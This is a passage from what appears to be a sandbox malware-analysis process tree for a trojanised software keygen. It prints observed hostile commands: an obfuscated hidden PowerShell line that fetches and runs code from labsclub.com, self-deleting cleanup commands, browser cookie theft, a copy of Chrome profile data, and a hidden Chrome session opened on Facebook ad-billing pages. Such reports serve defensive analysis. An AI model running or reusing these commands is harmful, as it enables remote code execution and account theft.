                                                                                                                                • Drops file in System32 directory
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                • Modifies registry class
                                                                                                                                PID:3776
                                                                                                                            • C:\Windows\System32\rundll32.exe
                                                                                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                              1⤵
                                                                                                                                PID:2200
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Temp2_Wondershare.Dr.fone.For.5.5.0.key.generator.zip\Wondershare.Dr.fone.For.5.5.0.key.generator.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Temp2_Wondershare.Dr.fone.For.5.5.0.key.generator.zip\Wondershare.Dr.fone.For.5.5.0.key.generator.exe"
                                                                                                                                1⤵
                                                                                                                                  PID:2964
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                    2⤵
                                                                                                                                      PID:4808
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                        keygen-pr.exe -p83fsase3Ge
                                                                                                                                        3⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:5020
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                                                                                                                          4⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1256
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                            5⤵
                                                                                                                                              PID:1000
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                          keygen-step-1.exe
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:5072
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                          keygen-step-2.exe
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Modifies system certificate store
                                                                                                                                          PID:4964
                                                                                                                                          • C:\Users\Admin\AppData\Roaming\3346.tmp.exe
                                                                                                                                            "C:\Users\Admin\AppData\Roaming\3346.tmp.exe"
                                                                                                                                            4⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:4248
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\3346.tmp.exe"
                                                                                                                                              5⤵
                                                                                                                                                PID:4060
                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                  timeout /T 10 /NOBREAK
                                                                                                                                                  6⤵
                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                  PID:4252
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                                                                                                                              4⤵
                                                                                                                                                PID:964
                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                  ping 127.0.0.1
                                                                                                                                                  5⤵
                                                                                                                                                  • Runs ping.exe
                                                                                                                                                  PID:4668
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                                                                                                                              keygen-step-3.exe
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4236
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                                                                                                                                4⤵
                                                                                                                                                  PID:4780
                                                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                    ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                    5⤵
                                                                                                                                                    • Runs ping.exe
                                                                                                                                                    PID:4772
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                                keygen-step-4.exe
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Checks computer location settings
                                                                                                                                                PID:4380
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                                                                                                                                                  4⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:3700
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\TSEDXSOW0Q\multitimer.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\TSEDXSOW0Q\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                                                                                                                                    5⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Maps connected drives based on registry
                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                    PID:4484
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\TSEDXSOW0Q\multitimer.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\TSEDXSOW0Q\multitimer.exe" 1 3.1618032586.607137ca6fde4 101
                                                                                                                                                      6⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                      PID:3880
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\TSEDXSOW0Q\multitimer.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\TSEDXSOW0Q\multitimer.exe" 2 3.1618032586.607137ca6fde4
                                                                                                                                                        7⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Checks for any installed AV software in registry
                                                                                                                                                        PID:3048
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\uviyscz22b1\pklfuwj2amu.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\uviyscz22b1\pklfuwj2amu.exe" /VERYSILENT
                                                                                                                                                          8⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:2456
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-IN76D.tmp\pklfuwj2amu.tmp
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-IN76D.tmp\pklfuwj2amu.tmp" /SL5="$403AA,140785,56832,C:\Users\Admin\AppData\Local\Temp\uviyscz22b1\pklfuwj2amu.exe" /VERYSILENT
                                                                                                                                                            9⤵
                                                                                                                                                              PID:1508
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-EKBLE.tmp\apipostback.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-EKBLE.tmp\apipostback.exe" adan adan
                                                                                                                                                                10⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                PID:5632
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\tb5PWAcnV.dll"
                                                                                                                                                                  11⤵
                                                                                                                                                                    PID:4720
                                                                                                                                                                    • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                      regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\tb5PWAcnV.dll"
                                                                                                                                                                      12⤵
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      PID:7108
                                                                                                                                                                      • C:\Windows\system32\regsvr32.exe
                                                                                                                                                                        /s "C:\Users\Admin\AppData\Local\Temp\tb5PWAcnV.dll"
                                                                                                                                                                        13⤵
                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                        PID:7128
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\tb5PWAcnV.dllQjhLDnumN.dll"
                                                                                                                                                                    11⤵
                                                                                                                                                                      PID:4216
                                                                                                                                                                      • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\tb5PWAcnV.dllQjhLDnumN.dll"
                                                                                                                                                                        12⤵
                                                                                                                                                                          PID:4344
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                        11⤵
                                                                                                                                                                          PID:11508
                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                            12⤵
                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                            PID:11824
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\4pg0km3qaai\KiffApp1.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\4pg0km3qaai\KiffApp1.exe"
                                                                                                                                                                    8⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:3872
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1eau5oeooek\apbktmutdtj.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1eau5oeooek\apbktmutdtj.exe" /ustwo INSTALL
                                                                                                                                                                    8⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:1124
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 648
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:4936
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 656
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:5608
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 772
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:5608
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 812
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:6268
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 880
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:6692
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 928
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:6808
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1180
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:4444
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1188
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:6296
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1280
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:6784
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1272
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                      • Program crash
                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                      PID:5116
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\c25nuormu4w\Setup3310.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\c25nuormu4w\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                    8⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    PID:4652
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-L8RFF.tmp\Setup3310.tmp
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-L8RFF.tmp\Setup3310.tmp" /SL5="$203E8,138429,56832,C:\Users\Admin\AppData\Local\Temp\c25nuormu4w\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                      PID:4536
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-RQ997.tmp\Setup.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-RQ997.tmp\Setup.exe" /Verysilent
                                                                                                                                                                        10⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                        PID:5304
                                                                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
                                                                                                                                                                          11⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                          PID:6488
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                            12⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:4204
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                            12⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:6336
                                                                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
                                                                                                                                                                          11⤵
                                                                                                                                                                            PID:6516
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe"
                                                                                                                                                                              12⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                              PID:5012
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe"
                                                                                                                                                                                13⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                PID:6364
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im winxsl.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                  14⤵
                                                                                                                                                                                    PID:5124
                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                      taskkill /im winxsl.exe /f
                                                                                                                                                                                      15⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                      PID:6044
                                                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                      timeout /t 6
                                                                                                                                                                                      15⤵
                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                      PID:6448
                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
                                                                                                                                                                              11⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                              PID:6532
                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                              11⤵
                                                                                                                                                                                PID:6572
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-QBFBI.tmp\lylal220.tmp
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-QBFBI.tmp\lylal220.tmp" /SL5="$503B4,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                  12⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                  PID:6700
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-SHH48.tmp\ysAGEL.exe
                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-SHH48.tmp\ysAGEL.exe" /S /UID=lylal220
                                                                                                                                                                                    13⤵
                                                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                    PID:6552
                                                                                                                                                                                    • C:\Program Files\Windows NT\IOLVMNEHOD\irecord.exe
                                                                                                                                                                                      "C:\Program Files\Windows NT\IOLVMNEHOD\irecord.exe" /VERYSILENT
                                                                                                                                                                                      14⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:424
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-658A3.tmp\irecord.tmp
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-658A3.tmp\irecord.tmp" /SL5="$80056,5922518,66560,C:\Program Files\Windows NT\IOLVMNEHOD\irecord.exe" /VERYSILENT
                                                                                                                                                                                        15⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                        PID:964
                                                                                                                                                                                        • C:\Program Files (x86)\i-record\i-record.exe
                                                                                                                                                                                          "C:\Program Files (x86)\i-record\i-record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                          16⤵
                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                          PID:4232
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a4-a1768-50f-a7a98-421afed2fcc15\Sofimyqaeci.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a4-a1768-50f-a7a98-421afed2fcc15\Sofimyqaeci.exe"
                                                                                                                                                                                      14⤵
                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                      PID:6120
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\f9-8cfbd-19f-c47b6-d9e41621f5a31\Baeminopiqi.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\f9-8cfbd-19f-c47b6-d9e41621f5a31\Baeminopiqi.exe"
                                                                                                                                                                                      14⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:6556
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\clzss5ou.4f0\gaooo.exe & exit
                                                                                                                                                                                        15⤵
                                                                                                                                                                                          PID:11344
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\clzss5ou.4f0\gaooo.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\clzss5ou.4f0\gaooo.exe
                                                                                                                                                                                            16⤵
                                                                                                                                                                                              PID:11864
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                17⤵
                                                                                                                                                                                                  PID:6656
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                  17⤵
                                                                                                                                                                                                    PID:8596
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\evefkn0k.hu5\jg8_8qyu.exe & exit
                                                                                                                                                                                                15⤵
                                                                                                                                                                                                  PID:7484
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\evefkn0k.hu5\jg8_8qyu.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\evefkn0k.hu5\jg8_8qyu.exe
                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                    PID:8164
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0ewn50gl.b3n\google-game.exe & exit
                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                    PID:8720
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\0ewn50gl.b3n\google-game.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\0ewn50gl.b3n\google-game.exe
                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                      PID:10160
                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                        "C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                        PID:6572
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gmwwqhox.mzo\Sabor.exe & exit
                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                      PID:9328
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\gmwwqhox.mzo\Sabor.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\gmwwqhox.mzo\Sabor.exe
                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                          PID:7688
                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pxj5xh0u.0w5\BarSetpFile.exe /silent & exit
                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                          PID:10964
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\pxj5xh0u.0w5\BarSetpFile.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\pxj5xh0u.0w5\BarSetpFile.exe /silent
                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                              PID:7364
                                                                                                                                                                                                              • C:\ProgramData\922078.exe
                                                                                                                                                                                                                "C:\ProgramData\922078.exe"
                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                  PID:7380
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2tgu3z0w.wnb\wwfvd.exe & exit
                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                PID:8076
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2tgu3z0w.wnb\wwfvd.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2tgu3z0w.wnb\wwfvd.exe
                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                  PID:9452
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im wwfvd.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\2tgu3z0w.wnb\wwfvd.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                      PID:1592
                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                        PID:1508
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /im wwfvd.exe /f
                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:6648
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                        timeout /t 6
                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                        PID:8060
                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dwowty5g.zqe\askinstall31.exe & exit
                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                    PID:10276
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\dwowty5g.zqe\askinstall31.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\dwowty5g.zqe\askinstall31.exe
                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                        PID:10852
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                            PID:11268
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                              taskkill /f /im chrome.exe
                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                              PID:7436
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                            xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                            PID:11516
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                              PID:12016
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
